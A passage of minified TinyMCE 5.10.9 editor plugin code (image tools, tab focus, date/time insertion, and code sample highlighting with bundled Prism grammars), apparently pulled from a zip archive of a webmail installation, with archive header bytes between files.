e,t,n;u.$(d).off("load",r),u.nodeChanged(),f?u.editorUpload.uploadImagesAuto():(se(l),e=u,t=l,n=pe.setEditorTimeout(e,function(){e.editorUpload.uploadImagesAuto()},e.getParam("images_upload_timeout",3e4,"number")),t.set(n))};u.$(d).on("load",r),m&&u.$(d).attr({width:m.w,height:m.h}),u.$(d).attr({src:o.blobUri()}).removeAttr("data-mce-src")}),o})}function le(r,o,e,i){return function(){return ie(r).fold(function(){oe(r,"Could not find selected image")},function(n){return r._scanForImages().then(function(){return ce(r,n.dom)}).then(function(t){return W(t).then(e).then(function(e){return fe(r,t,e,!1,o,n.dom,i)})}).catch(function(e){oe(r,e)})})}}function de(t,n,r){return function(){var e=ie(t).map(function(e){var t=Y(e.dom);return t?{w:t.h,h:t.w}:null}).getOrNull();return le(t,n,function(e){return n=r,(t=e).toCanvas().then(function(e){return V(e,t.getType(),n)});var t,n},e)()}}function me(e,t,r){return function(){return le(e,t,function(e){return n=r,(t=e).toCanvas().then(function(e){return G(e,t.getType(),n)});var t,n})()}}function he(s,f){return function(){var n=ie(s),i=n.map(function(e){return Z(e.dom)});n.each(function(t){re(s,t.dom).each(function(e){ce(s,t.dom).then(function(e){var t={blob:e,url:URL.createObjectURL(e)};s.windowManager.open({title:"Edit Image",size:"large",body:{type:"panel",items:[{type:"imagetools",name:"imagetools",label:"Edit Image",currentState:t}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0,disabled:!0}],onSubmit:function(e){var o=e.getData().imagetools.blob;n.each(function(r){i.each(function(e){var t,n,a,u,c;t=s,n=f,a=r.dom,u=e,M(c=o).then(function(e){var t,n,r,o,i=Z(e);return u.w===i.w&&u.h===i.h||Y(a)&&(t=a,(n=i)&&(r=t.style.width,o=t.style.height,(r||o)&&(t.style.width=n.w+"px",t.style.height=n.h+"px",t.removeAttribute("data-mce-style")),r=t.width,o=t.height,(r||o)&&(t.setAttribute("width",String(n.w)),t.setAttribute("height",String(n.h))))),URL.revokeObjectURL(e.src),c}).then(W).then(function(e){return fe(t,c,e,!0,n,a)})})}),e.close()},onCancel:r,onAction:function(e,t){switch(t.name){case"save-state":t.value?e.enable("save"):e.disable("save");break;case"disable":e.disable("save"),e.disable("cancel");break;case"enable":e.enable("cancel")}}})})})})}}function ge(t){function n(e){return function(){return t.execCommand(e)}}function e(){return ie(t).exists(function(e){return re(t,e.dom).isSome()})}function r(t){function i(e){return t.setDisabled(!e)}return i(e()),o=o.concat([i]),function(){o=function(e){for(var t=[],n=0,r=e.length;n<r;n++){var o=e[n];o!==i&&t.push(o)}return t}(o)}}var o=[];t.on("NodeChange",function(){var t=e();T(o,function(e){return e(t)})}),t.ui.registry.addButton("rotateleft",{tooltip:"Rotate counterclockwise",icon:"rotate-left",onAction:n("mceImageRotateLeft"),onSetup:r}),t.ui.registry.addButton("rotateright",{tooltip:"Rotate clockwise",icon:"rotate-right",onAction:n("mceImageRotateRight"),onSetup:r}),t.ui.registry.addButton("flipv",{tooltip:"Flip vertically",icon:"flip-vertically",onAction:n("mceImageFlipVertical"),onSetup:r}),t.ui.registry.addButton("fliph",{tooltip:"Flip horizontally",icon:"flip-horizontally",onAction:n("mceImageFlipHorizontal"),onSetup:r}),t.ui.registry.addButton("editimage",{tooltip:"Edit image",icon:"edit-image",onAction:n("mceEditImage"),onSetup:r}),t.ui.registry.addButton("imageoptions",{tooltip:"Image options",icon:"image",onAction:n("mceImage")}),t.ui.registry.addContextMenu("imagetools",{update:function(e){return re(t,e).map(function(e){return{text:"Edit image",icon:"edit-image",onAction:n("mceEditImage")}}).toArray()}})}"undefined"!=typeof window||Function("return this;")();var pe=tinymce.util.Tools.resolve("tinymce.util.Delay"),ve=tinymce.util.Tools.resolve("tinymce.util.Promise"),ye=tinymce.util.Tools.resolve("tinymce.util.URI"),we=0,be=function(e,t){var n=t.src;return 0===n.indexOf("data:")||0===n.indexOf("blob:")||new ye(n).host===e.documentBaseURI.host},_e=function(e,t){return-1!==f.inArray(e.getParam("imagetools_cors_hosts",[],"string[]"),new ye(t.src).host)};o.add("imagetools",function(e){var t,r,o,i,n=c(0),a=c(null),u=e;f.each({mceImageRotateLeft:de(u,n,-90),mceImageRotateRight:de(u,n,90),mceImageFlipVertical:me(u,n,"v"),mceImageFlipHorizontal:me(u,n,"h"),mceEditImage:he(u,n)},function(e,t){u.addCommand(t,e)}),ge(e),(t=e).ui.registry.addContextToolbar("imagetools",{items:t.getParam("imagetools_toolbar","rotateleft rotateright flipv fliph editimage imageoptions"),predicate:function(e){return re(t,e).isSome()},position:"node",scope:"node"}),o=n,i=a,(r=e).on("NodeChange",function(e){var t=i.get(),n=re(r,e.element);t&&!n.exists(function(e){return t.src===e.src})&&(se(o),r.editorUpload.uploadImagesAuto(),i.set(null)),n.each(i.set)})})}();PK
h�\y3fBB1program/js/tinymce/plugins/tabfocus/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function n(e){e.keyCode!==y.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),s=tinymce.util.Tools.resolve("tinymce.EditorManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),a=tinymce.util.Tools.resolve("tinymce.util.Delay"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),y=tinymce.util.Tools.resolve("tinymce.util.VK"),d=t.DOM;e.add("tabfocus",function(e){function t(l){var r,e,t,n,i;l.keyCode!==y.TAB||l.ctrlKey||l.altKey||l.metaKey||l.isDefaultPrevented()||(e=function(e){function t(e){return/INPUT|TEXTAREA|BUTTON/.test(e.tagName)&&s.get(l.id)&&-1!==e.tabIndex&&i(e)}var n=d.select(":input:enabled,*[tabindex]:not(iframe)"),i=function(e){return"BODY"===e.nodeName||"hidden"!==e.type&&"none"!==e.style.display&&"hidden"!==e.style.visibility&&i(e.parentNode)};if(c.each(n,function(e,t){if(e.id===u.id)return r=t,!1}),0<e){for(var o=r+1;o<n.length;o++)if(t(n[o]))return n[o]}else for(o=r-1;0<=o;o--)if(t(n[o]))return n[o];return null},1===(t=c.explode(u.getParam("tab_focus",u.getParam("tabfocus_elements",":prev,:next")))).length&&(t[1]=t[0],t[0]=":prev"),(n=l.shiftKey?":prev"===t[0]?e(-1):d.get(t[0]):":next"===t[1]?e(1):d.get(t[1]))&&(i=s.get(n.id||n.name),n.id&&i?i.focus():a.setTimeout(function(){o.webkit||window.focus(),n.focus()},10),l.preventDefault()))}var u;(u=e).on("init",function(){u.inline&&d.setAttrib(u.getBody(),"tabIndex",null),u.on("keyup",n),o.gecko?u.on("keypress keydown",t):u.on("keydown",t)})})}();PK
h�\�����7program/js/tinymce/plugins/insertdatetime/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function l(e){return e.getParam("insertdatetime_timeformat",e.translate("%H:%M:%S"))}function s(e){return e.getParam("insertdatetime_formats",["%H:%M:%S","%Y-%m-%d","%I:%M:%S %p","%D"])}function r(e,t){if((e=""+e).length<t)for(var n=0;n<t-e.length;n++)e="0"+e;return e}function d(e,t,n){return void 0===n&&(n=new Date),(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=(t=t.replace("%D","%m/%d/%Y")).replace("%r","%I:%M:%S %p")).replace("%Y",""+n.getFullYear())).replace("%y",""+n.getYear())).replace("%m",r(n.getMonth()+1,2))).replace("%d",r(n.getDate(),2))).replace("%H",""+r(n.getHours(),2))).replace("%M",""+r(n.getMinutes(),2))).replace("%S",""+r(n.getSeconds(),2))).replace("%I",""+((n.getHours()+11)%12+1))).replace("%p",n.getHours()<12?"AM":"PM")).replace("%B",""+e.translate(u[n.getMonth()]))).replace("%b",""+e.translate(o[n.getMonth()]))).replace("%A",""+e.translate(i[n.getDay()]))).replace("%a",""+e.translate(a[n.getDay()]))).replace("%%","%")}function p(e,t){var n,r,a,i,o,u;e.getParam("insertdatetime_element",!1)?(n=d(e,t),r=/%[HMSIp]/.test(t)?d(e,"%Y-%m-%dT%H:%M"):d(e,"%Y-%m-%d"),(a=e.dom.getParent(e.selection.getStart(),"time"))?(o=a,u=(i=e).dom.create("time",{datetime:r},n),o.parentNode.insertBefore(u,o),i.dom.remove(o),i.selection.select(u,!0),i.selection.collapse(!1)):e.insertContent('<time datetime="'+r+'">'+n+"</time>")):e.insertContent(d(e,t))}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),a="Sun Mon Tue Wed Thu Fri Sat Sun".split(" "),i="Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" "),o="Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),u="January February March April May June July August September October November December".split(" "),g=tinymce.util.Tools.resolve("tinymce.util.Tools");e.add("insertdatetime",function(e){var n,r,t,a,i,o,u,c;function m(e){return r.execCommand("mceInsertDate",!1,e)}(n=e).addCommand("mceInsertDate",function(e,t){p(n,null!=t?t:n.getParam("insertdatetime_dateformat",n.translate("%Y-%m-%d")))}),n.addCommand("mceInsertTime",function(e,t){p(n,null!=t?t:l(n))}),u=s(r=e),t=0<(o=s(i=r)).length?o[0]:l(i),a=t,c={get:function(){return a},set:function(e){a=e}},r.ui.registry.addSplitButton("insertdatetime",{icon:"insert-time",tooltip:"Insert date/time",select:function(e){return e===c.get()},fetch:function(e){e(g.map(u,function(e){return{type:"choiceitem",text:d(r,e),value:e}}))},onAction:function(e){m(c.get())},onItemAction:function(e,t){c.set(t),m(t)}}),r.ui.registry.addNestedMenuItem("insertdatetime",{icon:"insert-time",text:"Date/time",getSubmenuItems:function(){return g.map(u,function(e){return{type:"menuitem",text:d(r,e),onAction:(t=e,function(){c.set(t),m(t)})};var t})}})})}();PK
h�\BE����3program/js/tinymce/plugins/codesample/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function o(e){return function(){return e}}function e(e){return e}function n(){return l}var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),s=o(!1),i=o(!0),l={fold:function(e,n){return e()},isSome:s,isNone:i,getOr:e,getOrThunk:a,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:o(null),getOrUndefined:o(void 0),or:e,orThunk:a,map:n,each:function(){},bind:n,exists:s,forall:i,filter:function(){return l},toArray:function(){return[]},toString:o("none()")};function a(e){return e()}function u(e){return e&&"PRE"===e.nodeName&&-1!==e.className.indexOf("language-")}function c(t){return function(e,n){return t(n)}}var d=function(t){function e(){return r}function n(e){return e(t)}var a=o(t),r={fold:function(e,n){return n(t)},isSome:i,isNone:s,getOr:a,getOrThunk:a,getOrDie:a,getOrNull:a,getOrUndefined:a,or:e,orThunk:e,map:function(e){return d(e(t))},each:function(e){e(t)},bind:n,exists:n,forall:n,filter:function(e){return e(t)?r:l},toArray:function(){return[t]},toString:function(){return"some("+t+")"}};return r},p={some:d,none:n,from:function(e){return null==e?l:d(e)}},g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),r="undefined"!=typeof window?window:Function("return this;")(),b={},m={exports:b},f={};function h(e){return r.Prism&&e.getParam("codesample_global_prismjs",!1,"boolean")?r.Prism:k}function y(e){var n=e.selection?e.selection.getNode():null;return u(n)?p.some(n):p.none()}function w(s){var t,e,n=s.getParam("codesample_languages")||[{text:"HTML/XML",value:"markup"},{text:"JavaScript",value:"javascript"},{text:"CSS",value:"css"},{text:"PHP",value:"php"},{text:"Ruby",value:"ruby"},{text:"Python",value:"python"},{text:"Java",value:"java"},{text:"C",value:"c"},{text:"C#",value:"csharp"},{text:"C++",value:"cpp"}],a=(0<(e=n).length?p.some(e[0]):p.none()).fold(o(""),function(e){return e.value}),r=(t=a,y(s).fold(function(){return t},function(e){var n=e.className.match(/language-(\w+)/);return n?n[1]:t})),i=y(s).fold(o(""),function(e){return e.textContent});s.windowManager.open({title:"Insert/Edit Code Sample",size:"large",body:{type:"panel",items:[{type:"selectbox",name:"language",label:"Language",items:n},{type:"textarea",name:"code",label:"Code view"}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:{language:r,code:i},onSubmit:function(e){var n=e.getData(),t=s,a=n.language,r=n.code;t.undoManager.transact(function(){var e=y(t);return r=g.DOM.encode(r),e.fold(function(){t.insertContent('<pre id="__new" class="language-'+a+'">'+r+"</pre>"),t.selection.select(t.$("#__new").removeAttr("id")[0])},function(e){t.dom.setAttrib(e,"class","language-"+a),e.innerHTML=r,h(t).highlightElement(e),t.selection.select(e)})}),e.close()}})}!function(e,n){var t,a,r=window.Prism;window.Prism={manual:!0},t=this,a=function(){var e,n,h,t,a,r,s,i,o,l,u="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:f,c={exports:{}};function y(e,n){return"___"+e.toUpperCase()+n+"___"}return e=c,n=function(u){var t=/(?:^|\s)lang(?:uage)?-([\w-]+)(?=\s|$)/i,n=0,e={},j={manual:u.Prism&&u.Prism.manual,disableWorkerMessageHandler:u.Prism&&u.Prism.disableWorkerMessageHandler,util:{encode:function e(n){return n instanceof T?new T(n.type,e(n.content),n.alias):Array.isArray(n)?n.map(e):n.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/\u00a0/g," ")},type:function(e){return Object.prototype.toString.call(e).slice(8,-1)},objId:function(e){return e.__id||Object.defineProperty(e,"__id",{value:++n}),e.__id},clone:function t(e,a){var r,n;switch(a=a||{},j.util.type(e)){case"Object":if(n=j.util.objId(e),a[n])return a[n];for(var s in r={},a[n]=r,e)e.hasOwnProperty(s)&&(r[s]=t(e[s],a));return r;case"Array":return n=j.util.objId(e),a[n]||(r=[],a[n]=r,e.forEach(function(e,n){r[n]=t(e,a)}),r);default:return e}},getLanguage:function(e){for(;e;){var n=t.exec(e.className);if(n)return n[1].toLowerCase();e=e.parentElement}return"none"},setLanguage:function(e,n){e.className=e.className.replace(RegExp(t.source,"gi"),""),e.classList.add("language-"+n)},currentScript:function(){if("undefined"==typeof document)return null;if("currentScript"in document)return document.currentScript;try{throw new Error}catch(e){var n=(/at [^(\r\n]*\((.*):[^:]+:[^:]+\)$/i.exec(e.stack)||[])[1];if(n){var t,a=document.getElementsByTagName("script");for(t in a)if(a[t].src==n)return a[t]}return null}},isActive:function(e,n,t){for(var a="no-"+n;e;){var r=e.classList;if(r.contains(n))return!0;if(r.contains(a))return!1;e=e.parentElement}return!!t}},languages:{plain:e,plaintext:e,text:e,txt:e,extend:function(e,n){var t,a=j.util.clone(j.languages[e]);for(t in n)a[t]=n[t];return a},insertBefore:function(t,e,n,a){var r,s=(a=a||j.languages)[t],i={};for(r in s)if(s.hasOwnProperty(r)){if(r==e)for(var o in n)n.hasOwnProperty(o)&&(i[o]=n[o]);n.hasOwnProperty(r)||(i[r]=s[r])}var l=a[t];return a[t]=i,j.languages.DFS(j.languages,function(e,n){n===l&&e!=t&&(this[e]=i)}),i},DFS:function e(n,t,a,r){r=r||{};var s,i,o,l=j.util.objId;for(s in n)n.hasOwnProperty(s)&&(t.call(n,s,n[s],a||s),i=n[s],"Object"!==(o=j.util.type(i))||r[l(i)]?"Array"!==o||r[l(i)]||(r[l(i)]=!0,e(i,t,s,r)):(r[l(i)]=!0,e(i,t,null,r)))}},plugins:{},highlightAll:function(e,n){j.highlightAllUnder(document,e,n)},highlightAllUnder:function(e,n,t){var a={callback:t,container:e,selector:'code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code'};j.hooks.run("before-highlightall",a),a.elements=Array.prototype.slice.apply(a.container.querySelectorAll(a.selector)),j.hooks.run("before-all-elements-highlight",a);for(var r,s=0;r=a.elements[s++];)j.highlightElement(r,!0===n,a.callback)},highlightElement:function(e,n,t){var a=j.util.getLanguage(e),r=j.languages[a];j.util.setLanguage(e,a);var s=e.parentElement;s&&"pre"===s.nodeName.toLowerCase()&&j.util.setLanguage(s,a);var i,o={element:e,language:a,grammar:r,code:e.textContent};function l(e){o.highlightedCode=e,j.hooks.run("before-insert",o),o.element.innerHTML=o.highlightedCode,j.hooks.run("after-highlight",o),j.hooks.run("complete",o),t&&t.call(o.element)}if(j.hooks.run("before-sanity-check",o),(s=o.element.parentElement)&&"pre"===s.nodeName.toLowerCase()&&!s.hasAttribute("tabindex")&&s.setAttribute("tabindex","0"),!o.code)return j.hooks.run("complete",o),void(t&&t.call(o.element));j.hooks.run("before-highlight",o),o.grammar?n&&u.Worker?((i=new Worker(j.filename)).onmessage=function(e){l(e.data)},i.postMessage(JSON.stringify({language:o.language,code:o.code,immediateClose:!0}))):l(j.highlight(o.code,o.grammar,o.language)):l(j.util.encode(o.code))},highlight:function(e,n,t){var a={code:e,grammar:n,language:t};if(j.hooks.run("before-tokenize",a),!a.grammar)throw new Error('The language "'+a.language+'" has no grammar.');return a.tokens=j.tokenize(a.code,a.grammar),j.hooks.run("after-tokenize",a),T.stringify(j.util.encode(a.tokens),a.language)},tokenize:function(e,n){var t=n.rest;if(t){for(var a in t)n[a]=t[a];delete n.rest}var r=new s;return O(r,r.head,e),function e(n,t,a,r,s,i){for(var o in a)if(a.hasOwnProperty(o)&&a[o])for(var l=a[o],l=Array.isArray(l)?l:[l],u=0;u<l.length;++u){if(i&&i.cause==o+","+u)return;var c,d=l[u],p=d.inside,g=!!d.lookbehind,b=!!d.greedy,m=d.alias;b&&!d.pattern.global&&(c=d.pattern.toString().match(/[imsuy]*$/)[0],d.pattern=RegExp(d.pattern.source,c+"g"));for(var f=d.pattern||d,h=r.next,y=s;h!==t.tail&&!(i&&y>=i.reach);y+=h.value.length,h=h.next){var w=h.value;if(t.length>n.length)return;if(!(w instanceof T)){var k,v=1;if(b){if(!(k=B(f,y,n,g))||k.index>=n.length)break;var x=k.index,_=k.index+k[0].length,F=y;for(F+=h.value.length;F<=x;)F+=(h=h.next).value.length;if(y=F-=h.value.length,h.value instanceof T)continue;for(var S=h;S!==t.tail&&(F<_||"string"==typeof S.value);S=S.next)v++,F+=S.value.length;v--,w=n.slice(y,F),k.index-=y}else if(!(k=B(f,0,w,g)))continue;var x=k.index,A=k[0],P=w.slice(0,x),$=w.slice(x+A.length),z=y+w.length;i&&z>i.reach&&(i.reach=z);var E=h.prev;P&&(E=O(t,E,P),y+=P.length),function(e,n,t){for(var a=n.next,r=0;r<t&&a!==e.tail;r++)a=a.next;(n.next=a).prev=n,e.length-=r}(t,E,v);var C,h=O(t,E,new T(o,p?j.tokenize(A,p):A,m,A));$&&O(t,h,$),1<v&&(e(n,t,a,h.prev,y,C={cause:o+","+u,reach:z}),i&&C.reach>i.reach&&(i.reach=C.reach))}}}}(e,r,n,r.head,0),function(e){for(var n=[],t=e.head.next;t!==e.tail;)n.push(t.value),t=t.next;return n}(r)},hooks:{all:{},add:function(e,n){var t=j.hooks.all;t[e]=t[e]||[],t[e].push(n)},run:function(e,n){var t=j.hooks.all[e];if(t&&t.length)for(var a,r=0;a=t[r++];)a(n)}},Token:T};function T(e,n,t,a){this.type=e,this.content=n,this.alias=t,this.length=0|(a||"").length}function B(e,n,t,a){e.lastIndex=n;var r,s=e.exec(t);return s&&a&&s[1]&&(r=s[1].length,s.index+=r,s[0]=s[0].slice(r)),s}function s(){var e={value:null,prev:null,next:null},n={value:null,prev:e,next:null};e.next=n,this.head=e,this.tail=n,this.length=0}function O(e,n,t){var a=n.next,r={value:t,prev:n,next:a};return n.next=r,a.prev=r,e.length++,r}if(u.Prism=j,T.stringify=function n(e,t){if("string"==typeof e)return e;if(Array.isArray(e)){var a="";return e.forEach(function(e){a+=n(e,t)}),a}var r={type:e.type,content:n(e.content,t),tag:"span",classes:["token",e.type],attributes:{},language:t},s=e.alias;s&&(Array.isArray(s)?Array.prototype.push.apply(r.classes,s):r.classes.push(s)),j.hooks.run("wrap",r);var i,o="";for(i in r.attributes)o+=" "+i+'="'+(r.attributes[i]||"").replace(/"/g,"&quot;")+'"';return"<"+r.tag+' class="'+r.classes.join(" ")+'"'+o+">"+r.content+"</"+r.tag+">"},!u.document)return u.addEventListener&&(j.disableWorkerMessageHandler||u.addEventListener("message",function(e){var n=JSON.parse(e.data),t=n.language,a=n.code,r=n.immediateClose;u.postMessage(j.highlight(a,j.languages[t],t)),r&&u.close()},!1)),j;var a,r=j.util.currentScript();function i(){j.manual||j.highlightAll()}return r&&(j.filename=r.src,r.hasAttribute("data-manual")&&(j.manual=!0)),j.manual||("loading"===(a=document.readyState)||"interactive"===a&&r&&r.defer?document.addEventListener("DOMContentLoaded",i):window.requestAnimationFrame?window.requestAnimationFrame(i):window.setTimeout(i,16)),j}("undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{}),e.exports&&(e.exports=n),void 0!==u&&(u.Prism=n),Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/,lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/(\b(?:class|extends|implements|instanceof|interface|new|trait)\s+|\bcatch\s+\()[\w.\\]+/i,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:break|catch|continue|do|else|finally|for|function|if|in|instanceof|new|null|return|throw|try|while)\b/,boolean:/\b(?:false|true)\b/,function:/\b\w+(?=\()/,number:/\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i,operator:/[<>]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/,punctuation:/[{}[\];(),.:]/},h=Prism,Object.defineProperties(h.languages["markup-templating"]={},{buildPlaceholders:{value:function(a,r,e,s){var i;a.language===r&&(i=a.tokenStack=[],a.code=a.code.replace(e,function(e){if("function"==typeof s&&!s(e))return e;for(var n,t=i.length;-1!==a.code.indexOf(n=y(r,t));)++t;return i[t]=e,n}),a.grammar=h.languages.markup)}},tokenizePlaceholders:{value:function(g,b){var m,f;g.language===b&&g.tokenStack&&(g.grammar=h.languages[b],m=0,f=Object.keys(g.tokenStack),function e(n){for(var t=0;t<n.length&&!(m>=f.length);t++){var a,r,s,i,o,l,u,c,d,p=n[t];"string"==typeof p||p.content&&"string"==typeof p.content?(a=f[m],r=g.tokenStack[a],s="string"==typeof p?p:p.content,i=y(b,a),-1<(o=s.indexOf(i))&&(++m,l=s.substring(0,o),u=new h.Token(b,h.tokenize(r,g.grammar),"language-"+b,r),c=s.substring(o+i.length),d=[],l&&d.push.apply(d,e([l])),d.push(u),c&&d.push.apply(d,e([c])),"string"==typeof p?n.splice.apply(n,[t,1].concat(d)):p.content=d)):p.content&&e(p.content)}return n}(g.tokens))}}}),Prism.languages.c=Prism.languages.extend("clike",{comment:{pattern:/\/\/(?:[^\r\n\\]|\\(?:\r\n?|\n|(?![\r\n])))*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},string:{pattern:/"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"/,greedy:!0},"class-name":{pattern:/(\b(?:enum|struct)\s+(?:__attribute__\s*\(\([\s\S]*?\)\)\s*)?)\w+|\b[a-z]\w*_t\b/,lookbehind:!0},keyword:/\b(?:_Alignas|_Alignof|_Atomic|_Bool|_Complex|_Generic|_Imaginary|_Noreturn|_Static_assert|_Thread_local|__attribute__|asm|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|inline|int|long|register|return|short|signed|sizeof|static|struct|switch|typedef|typeof|union|unsigned|void|volatile|while)\b/,function:/\b[a-z_]\w*(?=\s*\()/i,number:/(?:\b0x(?:[\da-f]+(?:\.[\da-f]*)?|\.[\da-f]+)(?:p[+-]?\d+)?|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?)[ful]{0,4}/i,operator:/>>=?|<<=?|->|([-+&|:])\1|[?:~]|[-+*/%&|^!=<>]=?/}),Prism.languages.insertBefore("c","string",{char:{pattern:/'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n]){0,32}'/,greedy:!0}}),Prism.languages.insertBefore("c","string",{macro:{pattern:/(^[\t ]*)#\s*[a-z](?:[^\r\n\\/]|\/(?!\*)|\/\*(?:[^*]|\*(?!\/))*\*\/|\\(?:\r\n|[\s\S]))*/im,lookbehind:!0,greedy:!0,alias:"property",inside:{string:[{pattern:/^(#\s*include\s*)<[^>]+>/,lookbehind:!0},Prism.languages.c.string],char:Prism.languages.c.char,comment:Prism.languages.c.comment,"macro-name":[{pattern:/(^#\s*define\s+)\w+\b(?!\()/i,lookbehind:!0},{pattern:/(^#\s*define\s+)\w+\b(?=\()/i,lookbehind:!0,alias:"function"}],directive:{pattern:/^(#\s*)[a-z]+/,lookbehind:!0,alias:"keyword"},"directive-hash":/^#/,punctuation:/##|\\(?=[\r\n])/,expression:{pattern:/\S[\s\S]*/,inside:Prism.languages.c}}}}),Prism.languages.insertBefore("c","function",{constant:/\b(?:EOF|NULL|SEEK_CUR|SEEK_END|SEEK_SET|__DATE__|__FILE__|__LINE__|__TIMESTAMP__|__TIME__|__func__|stderr|stdin|stdout)\b/}),delete Prism.languages.c.boolean,t=Prism,a=/\b(?:alignas|alignof|asm|auto|bool|break|case|catch|char|char16_t|char32_t|char8_t|class|co_await|co_return|co_yield|compl|concept|const|const_cast|consteval|constexpr|constinit|continue|decltype|default|delete|do|double|dynamic_cast|else|enum|explicit|export|extern|final|float|for|friend|goto|if|import|inline|int|int16_t|int32_t|int64_t|int8_t|long|module|mutable|namespace|new|noexcept|nullptr|operator|override|private|protected|public|register|reinterpret_cast|requires|return|short|signed|sizeof|static|static_assert|static_cast|struct|switch|template|this|thread_local|throw|try|typedef|typeid|typename|uint16_t|uint32_t|uint64_t|uint8_t|union|unsigned|using|virtual|void|volatile|wchar_t|while)\b/,r=/\b(?!<keyword>)\w+(?:\s*\.\s*\w+)*\b/.source.replace(/<keyword>/g,function(){return a.source}),t.languages.cpp=t.languages.extend("c",{"class-name":[{pattern:RegExp(/(\b(?:class|concept|enum|struct|typename)\s+)(?!<keyword>)\w+/.source.replace(/<keyword>/g,function(){return a.source})),lookbehind:!0},/\b[A-Z]\w*(?=\s*::\s*\w+\s*\()/,/\b[A-Z_]\w*(?=\s*::\s*~\w+\s*\()/i,/\b\w+(?=\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>\s*::\s*\w+\s*\()/],keyword:a,number:{pattern:/(?:\b0b[01']+|\b0x(?:[\da-f']+(?:\.[\da-f']*)?|\.[\da-f']+)(?:p[+-]?[\d']+)?|(?:\b[\d']+(?:\.[\d']*)?|\B\.[\d']+)(?:e[+-]?[\d']+)?)[ful]{0,4}/i,greedy:!0},operator:/>>=?|<<=?|->|--|\+\+|&&|\|\||[?:~]|<=>|[-+*/%&|^!=<>]=?|\b(?:and|and_eq|bitand|bitor|not|not_eq|or|or_eq|xor|xor_eq)\b/,boolean:/\b(?:false|true)\b/}),t.languages.insertBefore("cpp","string",{module:{pattern:RegExp(/(\b(?:import|module)\s+)/.source+"(?:"+/"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|<[^<>\r\n]*>/.source+"|"+/<mod-name>(?:\s*:\s*<mod-name>)?|:\s*<mod-name>/.source.replace(/<mod-name>/g,function(){return r})+")"),lookbehind:!0,greedy:!0,inside:{string:/^[<"][\s\S]+/,operator:/:/,punctuation:/\./}},"raw-string":{pattern:/R"([^()\\ ]{0,16})\([\s\S]*?\)\1"/,alias:"string",greedy:!0}}),t.languages.insertBefore("cpp","keyword",{"generic-function":{pattern:/\b(?!operator\b)[a-z_]\w*\s*<(?:[^<>]|<[^<>]*>)*>(?=\s*\()/i,inside:{function:/^\w+/,generic:{pattern:/<[\s\S]+/,alias:"class-name",inside:t.languages.cpp}}}}),t.languages.insertBefore("cpp","operator",{"double-colon":{pattern:/::/,alias:"punctuation"}}),t.languages.insertBefore("cpp","class-name",{"base-clause":{pattern:/(\b(?:class|struct)\s+\w+\s*:\s*)[^;{}"'\s]+(?:\s+[^;{}"'\s]+)*(?=\s*[;{])/,lookbehind:!0,greedy:!0,inside:t.languages.extend("cpp",{})}}),t.languages.insertBefore("inside","double-colon",{"class-name":/\b[a-z_]\w*\b(?!\s*::)/i},t.languages.cpp["base-clause"]),function(t){function a(e,t){return e.replace(/<<(\d+)>>/g,function(e,n){return"(?:"+t[+n]+")"})}function r(e,n,t){return RegExp(a(e,n),t||"")}function e(e,n){for(var t=0;t<n;t++)e=e.replace(/<<self>>/g,function(){return"(?:"+e+")"});return e.replace(/<<self>>/g,"[^\\s\\S]")}var n="bool byte char decimal double dynamic float int long object sbyte short string uint ulong ushort var void",s="class enum interface record struct",i="add alias and ascending async await by descending from(?=\\s*(?:\\w|$)) get global group into init(?=\\s*;) join let nameof not notnull on or orderby partial remove select set unmanaged value when where with(?=\\s*{)",o="abstract as base break case catch checked const continue default delegate do else event explicit extern finally fixed for foreach 